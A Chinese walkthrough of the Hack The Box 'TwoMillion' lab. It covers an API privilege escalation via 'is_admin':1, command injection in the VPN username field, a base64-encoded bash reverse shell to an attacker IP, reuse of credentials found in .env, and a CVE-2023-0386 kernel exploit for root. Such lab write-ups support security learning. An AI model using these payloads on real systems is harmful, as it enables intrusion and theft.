USER

nmap -T4 -v -A -Pn 10.10.11.221 -oN twomillion.txt

join 这里提示了让破解邀请过程,点击 join htb

进入了http://2million.htb/invite

这是旧 HTB 的邀请码界面,网上有直接的教程

https://blog.csdn.net/qq_43337502/article/details/108024008

重要的是这个,我们找一下在哪里出现的

$.post(‘https://www.hackthebox.eu/api/invite/generate’,function(data){console.log(data)})

view-source:查看一下网页源码

加载了一个 http://2million.htb/js/inviteapi.min.js 这个 js 脚本

网页会向/api/v1/invite/verify 提交 post 请求来验证

先看一下/inviteapi.min.js

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

这是混淆之后的 js,解密一下

https://lelinhtinh.github.io/de4js
function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

除了我们刚刚看到的,还发现一个 /api/v1/invite/how/to/generate

请求一下(jq 用来将输出格式化)

curl -X POST http://2million.htb/api/v1/invite/how/to/generate | jq

这里提示了提示了 data 的加密方式是 rot13,我们解密 data 后发现

说要想获得邀请码,向 /api/v1/invite/generate 发送 POST 请求的信息

curl -X POST http://2million.htb/api/v1/invite/generate | jq

code 看着应该是 base64 加密之后的信息,解密一下获得 U6QOF-PVUE8-YN7JM-ID5Y1

输入后跳转开始注册

随便注册一个之后登录进去,很多功能都没有

access 连接,也就是下载 vpn 文件的功能还是可以用的

使用 burp 抓包查看,请求了/api/v1/user/vpn/generate

尝试修改路径为 /api/v1 ,可以看到暴露了很多 api 接口,已经注释了不同的功能

特别是下面有一些 admin,也就是管理员接口

访问/api/v1/admin/auth 接口,可以发现我们并没有 admin 权限

访问/api/v1/admin/settings/update 来修改用户设置,但是提示类型不对

当我们添加后又提示缺少邮箱、用户名等、最后构造数据包如下

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://2million.htb/home/access
Content-Type: application/json
Cookie: PHPSESSID=7ur00smfnvpn1ja4ec5ndbu8fd
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 43

{
"email":"[email protected]",
"is_admin":1
}

重新检查,我们已经成为了 admin

然后请求/api/v1/admin/vpn/generate 获取 admin 的 vpn 文件,这里也要跟着提示一步步构造

这里有一种情况就是后端是根据输入的 username 通过脚本执行命令来构造 vpn 文件,那么这里 username 就有命令注入的可能

{
"username":"test;id;"
}

成功执行 id 命令

那么我们就可以后面跟上反弹 shell 的命令,直接运行还是不行,编码一下

{
"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Mi81NTY2IDA+JjE= | base64 -d | bash;"
}

成功反弹 shell

在当前目录下,有一个.env 的隐藏文件,查看一下

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

这个账号密码成功 ssh 登录

可以查看到 user.txt 了

ROOT

仔细一点可以看见 ssh 登录的提示,有一封右键

查看一下

根据邮件可以知道,看来本机应该是有内核漏洞,根据提示的OverlayFS / FUSE

我们可以找到CVE-2023-0386

https://github.com/xkaneiki/CVE-2023-0386
#上传exp
scp ./CVE-2023-0386-main.zip [email protected]:/home/admin
#编译
make all
#启动两个终端,在第一个终端中输入
./fuse ./ovlcap/lower ./gc
#在第二个终端输入
./exp

到/root 目录就可以拿到 root.txt

这里还有个小彩蛋,/root 目录下还有个thank_you.json

url 解码一次,然后根据提示 hex 解码一次

最后 base64 和 xor 解码,就可以看到 htb 200 万用户的一封感谢信~


"The quieter you become, the more you are able to hear."